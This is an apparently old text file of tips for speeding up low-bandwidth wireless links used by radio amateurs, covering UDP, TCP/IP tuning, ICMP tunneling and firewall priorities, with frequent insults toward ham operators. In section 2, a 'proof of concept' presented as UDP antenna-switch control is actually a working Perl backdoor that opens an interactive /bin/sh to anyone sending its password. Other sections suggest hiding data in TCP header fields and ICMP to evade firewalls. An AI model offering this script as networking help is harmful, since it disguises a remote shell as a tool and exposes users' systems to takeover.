Ways to Improve Performance on Low Speed, High Latency Wireless Network Links

Isn't embarrassing when iMac's have faster wireless networking than you do?


Some common characteristics of wireless networks are low bandwidth, high bit error rates (BER), and lots of user level delays and packet loss.  This paper will attempt to spotlight these issue and list several ways you can improve your wireless networking performance.

First off, repeat after me, Never Get Technical Advice From A Ham !!!!

Hams are nothing but inbreed CB radio operators...  That said,

1)  Reduce The Redundancy

Running a Network Operating System (NOS) package on an operating system that supports the AX.25 protocol (or whatever you're using) natively, such as Linux, is equivalent to pushing around your car.  Sure it works, and you'll eventually get where you're going, but why? If you have the power, use it.

TNOS/JNOS/WNOS and other packages were designed for operating systems that don't normally have networking included (DOS).  It's 2000 people.  Wake up.

2)  Using UDP

If possible, use the User Datagram Protocol (UDP) as the transport layer protocol.  UDP datagrams are 8 bytes plus data and include a checksum that covers the UDP header and its included data.

For instance, the need to access a remote antenna switch or power amplifier control could use a simple UDP client/server setup to avoid the bandwidth and setup time required by a full TCP connection.

Proof of Concept Code:

#!/usr/bin/perl
# mini shell-daemon using UDP in perl by van Hauser / [THC] in '97
#
# Usage: nc -u <host> <port>
# Then type the passwd
# nc = Hobbit's NetCat

$SHELL       = "/bin/sh -i";      # which shell to spawn
$LISTEN_PORT = 30001;             # on which port to listen
$PASSWORD    = "oslYV4GHw0x26";   # crypt(3) encrypted password like those in
                                  # the passwd/shadow file. This is "THC".
require 5.002;
use Socket;

$protocol = getprotobyname('udp');
socket(S, &PF_INET, &SOCK_DGRAM, $protocol) || die "can't create socket\n";
setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1);
bind(S, sockaddr_in($LISTEN_PORT, INADDR_ANY)) || die "can't bind\n";

vec($sin, fileno(S), 1) = 1;
AGAIN: while (! select($sout = $sin, undef, undef, 0.5)) {}
$remote = recv (S, $try, 9, 0);
chop($try);
if (crypt($try, $PASSWORD) ne $PASSWORD) {
        goto AGAIN;
}

connect(S, $remote) || die "can't connect to remote\n";
pipe PREAD, PWRITE;

if (! ($pid = fork)) {          # we need to fork and and use a pipe to get
        close PWRITE;           # the input into $SHELL without hurting the
        send (S, "OK\n",0);     # data. if directly doing  open STDIN, "<&S"
        open STDIN, "<&PREAD";  # $SHELL will only get every 1st char of a
        open STDOUT, ">&S";     # line netcat has got this problem too, hence
        open STDERR, ">&S";     # it seems to be a problem of the shell ...
        exec $SHELL || print STDOUT "couldn't spawn $SHELL\n";
} else {
        close PREAD;
        select PWRITE; $|=1;
        vec($sin, fileno(S), 1) = 1;
        AGAIN: while (! select($sout = $sin, undef, undef, 0.0000001)) {}
        recv (S, $in, 10, 0);
        print PWRITE "$in";
        goto AGAIN;
}

3)  Modifying The IP Stack

Modifications to the IP stack can also be used to increase the amount of data sent.  For instance, in a TCP header, it's possible to imbed data in the 32-bit sequence and acknowledgement numbers.  If both server and client are running a modified IP stack, you could switch to 24-bit sequence and acknowledgement numbers, gaining 16 more bits of data.  (You could probably also use it to get around firewalls)

It's also possible to include data in the 6 reserved bits of the TCP header.

Modifing TCP ACK packets may also improve performance, as they also increase network overhead due to their small size and the fact they contain no useful data.

Since these modifications require rewritting of both the client and server IP stacks, it will require using a open source Net/2 stack or Linux.

4)  Linux TCP/UDP/IP Kernel Hacks

From Janos Farkas:

There are a few settings to be tuned in /proc/sys/net/ipv4 for intranet servers (and, unfortunately, benchmarks).

Linux 2.2.x supports, and utilizes TCP options fully, including window scaling, TCP timestamps, and selective acknowledgements.  These help to get much better general responsivity/bandwidth utilization on typical internet links, i.e. lossy, congested, long-delay, erratic connections.  But using these on an intranet where you can keep an eye on congestion might not help things.  When you are sure that almost all traffic is going to be on good Ethernet, or similar high quality, high bandwidth networks, you might want to try disabling these one by one, or all of them (but don't forget to check if you really get better results, usually it's not detectable, if this is the case, revert to the defaults, they are better for the network).

Selective acknowledgements and window scaling is expected to not improve results on LAN's, and aren't either costing much more than a few bytes per connection (usually), but time stamping might get better performance on longer transfers anywhere.  Not using TCP options at all (i.e. disabling all of them) is a very-very little bit easier for the kernel.

To disable TCP timestamps:

echo 0 > /proc/sys/net/ipv4/tcp_timestamps

To disable window scaling:

echo 0 > /proc/sys/net/ipv4/tcp_window_scaling

To disable selective acknowledgements:

echo 0 > /proc/sys/net/ipv4/tcp_sack

To enable either one, just use echo 1 like above.  In 2.2.x kernels, all of them are defaulting to 1 (enabled), which is generally the best for internet connected hosts.

Procedure for raising network limits on Linux systems for 2.1.100 or greater.

Tuning a running system

There is no sysctl application for changing values, but you can change the values very easy with a editor like vi.  Simply edit the files listed below, which magically change the values in the kernel.

Tuning the default and maximum window size:

   /proc/sys/net/core/rmem_default  - default receive window
   /proc/sys/net/core/rmem_max      - maximum receive window
   /proc/sys/net/core/wmem_default  - default send window
   /proc/sys/net/core/wmem_max      - maximum send window
In /proc/sys/net/ipv4 you will find some other possibilities to tune TCP:

tcp_timestamps tcp_windowscaling tcp_sack ...

You will find a short description in Documentation/networking/ip-sysctl.txt

5)  ICMP Tunneling

It's possible to transmit data in ICMP ECHO request and ICMP ECHO reply messages.

This allows you to code simple client/server applications that ride on IP directly and don't require transport layer overhead.

Proof of Concept Code:

6)  Priority Traffic

Give priority to traffic using your firewall tools.

Linux examples from Robert L. Ziegler's rc.firewall

Gives telnet and ftp-data going out ax0 highest priority:

     ipchains -N ax-out
     ipchains -A output -i ax0 -j ax-out
     ipchains -A ax-out -p tcp -d 0.0.0.0/0 telnet -t 0x01 0x10
     ipchains -A ax-out -p tcp -d 0.0.0.0/0 ftp-data -t 0x01 0x02

Gives telnet and ftp control minimum delay, ftp data maximum throughput:

     ipchains -A output -p tcp -d 0.0.0.0/0 telnet -t 0x01 0x10
     ipchains -A output -p tcp -d 0.0.0.0/0 ftp -t 0x01 0x10
     ipchains -A output -p tcp -s 0.0.0.0/0 ftp-data -t 0x01 0x08

7)  Don't Follow Protocols

You can point-to-point wireless Ethernet connections without obeying the 802.11 standard.  This is proved in the KE5FX 10 GHz 10 Mbps wireless ethernet design.  Ethernet is a very robust protocol and is able to handle a high amount of collisions and errors.

8)  Compression

Compress data over the link using a quality GNU block compression algorithm, not that stupid LZW patented by Unisys/IBM crap.

9)  Efficient Modulation

The typical loser ham idea is to increase their power when their pansy links are weak.  What you really need is to do is use your available bandwidth more efficiently.  Repeat: "Efficiency is your goal"

This rules out your little girl 20 year old bipolar Motorola radios.  If it takes 100 watts of RF power to transmit 9600 bps of data 10 miles, something is wrong.

Techniques like Bell Labs Layered Space Time (BLAST) will allow 20 - 40 bits per Hertz, as compared to the normal 1 - 5 bits per Hertz using conventional techniques.

Time Domain's use of ultra-wideband modulation techniques will allow you to transmit up to 10 Mbps of error free data using their new method of wideband frequency modulation, even using FCC part 15 power levels, over thousands of feet.

All these combined with current DSP receiver processing will allow you to to maintain a high quaility, high speed wireless link.  Direct sequence spread spectrum can actually use their processing gain to pull signals out if the noise floor.  Try that with your CB.

10)  Don't Allow Drunks On Your Network

Speaks for itself.

11)  Don't Allow Hams On Your Network

Speaks for itself.

12)  Source / Tools

13)  Links For Reference


Overall, it's best to try and reduce the amount of bidirectional data flowing on your network, as it's a major cause of collisions and network congestion.